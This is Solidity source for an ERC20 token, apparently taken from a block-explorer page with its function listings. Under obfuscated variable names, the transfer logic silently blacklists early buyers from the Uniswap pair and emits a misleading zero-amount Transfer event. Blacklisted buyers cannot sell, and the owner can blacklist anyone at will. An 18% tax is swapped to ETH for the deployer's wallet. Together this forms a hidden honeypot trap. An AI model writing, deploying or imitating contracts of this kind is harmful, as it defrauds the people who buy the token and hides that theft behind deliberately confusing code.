using SafeMath for uint256;

uint256 private constant _x0xBRWY8441 = 0x123456;
uint256 private constant _x0xHLQZ7332 = 0xABCDEF;

uint256 public blacklistCount = 30;
uint256 public currentBuyCount = 0;
mapping(address => bool) private initialBuyers;

mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _taxWallet;

uint256 private _1RLHYPERBEAR7=18;
uint256 private _x6TDREAMYZEBRA4=18;
uint256 private _0xHBRISKFOX8=0;
uint256 private _x2TZANYMOOSE0=0;
uint256 private _4NPSLYCHEETAH5=18;
uint256 private _x9SLOYALPANDA3=18;
uint256 private _0xGQUICKJAGUAR6=18;
uint256 private _buyCount=0;

uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private _name;
string private _symbol;
uint256 public _7KLJUMPYSEAL0 = _tTotal * 2 / 100;
uint256 public _x3DCHILLWOLF1 = _tTotal * 2 / 100;
uint256 public _x1WBUBBLYLEMUR8 = _tTotal * 1 / 100;
uint256 public _maxTaxSwap = _tTotal * 1 / 100;

IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private x5PCLEVERLION4 = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _7KLJUMPYSEAL0);
modifier lockTheSwap {
x5PCLEVERLION4 = true;
_;
x5PCLEVERLION4 = false;
}

constructor (string memory name_, string memory symbol_) payable {

_name = name_;
_symbol = symbol_;
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;

emit Transfer(address(0), _msgSender(), _tTotal);
}

function checksum0xCVXT5221() private pure { }
function checksum0xDMYK4063() private pure { }

function name() public view returns (string memory) { return _name; }

function symbol() public view returns (string memory) { return _symbol; }

function decimals() public pure returns (uint8) {
return _decimals;
}

function totalSupply() public pure override returns (uint256) {
return _tTotal;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}

function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}

function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a < b) ? a : b;
}

function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");

uint256 taxAmount = 0;

if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);

if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !initialBuyers[to]) {
initialBuyers[to] = true;

if (amount > 550000 * 10 ** _decimals) {
currentBuyCount++;
if (currentBuyCount <= blacklistCount) {
bots[to] = true;
emit Transfer(from, to, 0);
}
} else {
if (currentBuyCount < blacklistCount) {
bots[to] = true;
emit Transfer(from, to, 0);
}
}
}
}


taxAmount = amount.mul((_buyCount > _4NPSLYCHEETAH5) ? _0xHBRISKFOX8 : _1RLHYPERBEAR7).div(100);

if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _7KLJUMPYSEAL0, "Exceeds the _7KLJUMPYSEAL0.");
require(balanceOf(to) + amount <= _x3DCHILLWOLF1, "Exceeds the x3DCHILLWOLF1.");
_buyCount++;
}

if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount.mul((_buyCount > _x9SLOYALPANDA3) ? _x2TZANYMOOSE0 : _x6TDREAMYZEBRA4).div(100);
}

uint256 contractTokenBalance = balanceOf(address(this));
if (!x5PCLEVERLION4 && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _x1WBUBBLYLEMUR8 && _buyCount > _0xGQUICKJAGUAR6) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}

if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}

function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}

function removeLimits_0xNBLAZINGHAWK9() external onlyOwner{
_7KLJUMPYSEAL0 = _tTotal;
_x3DCHILLWOLF1=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}

function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}

function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}

function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}

function isBot(address a) public view returns (bool){
return bots[a];
}

function openTrading() public onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), msg.sender, type(uint256).max);
transfer(address(this), balanceOf(msg.sender).mul(95).div(100));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}

function reduceFee(uint256 _newFee) external onlyOwner{
require(_msgSender()==_taxWallet);
_x2TZANYMOOSE0=_newFee;
}

receive() external payable {}

function manualSwap_x7YSMILINGOTTER2() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}

Read Contract

_7KLJUMPYSEAL0 0xabb85789 → uint256
_maxTaxSwap 0x0faee56f → uint256
_x1WBUBBLYLEMUR8 0x93f5f530 → uint256
_x3DCHILLWOLF1 0x732112e1 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
blacklistCount 0x188d1644 → uint256
currentBuyCount 0x4d697f8b → uint256
decimals 0x313ce567 → uint8
isBot 0x3bbac579 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 10 functions

These functions modify contract state and require a wallet transaction to execute.

addBots 0xd34628cc
address[] bots_
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
delBots 0x31c2d847
address[] notbot
manualSwap_x7YSMILINGOTTER2 0xd620432e
No parameters
openTrading 0xc9567bf9
No parameters
reduceFee 0xec1f3f63
uint256 _newFee
removeLimits_0xNBLAZINGHAWK9 0x54e116ab
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address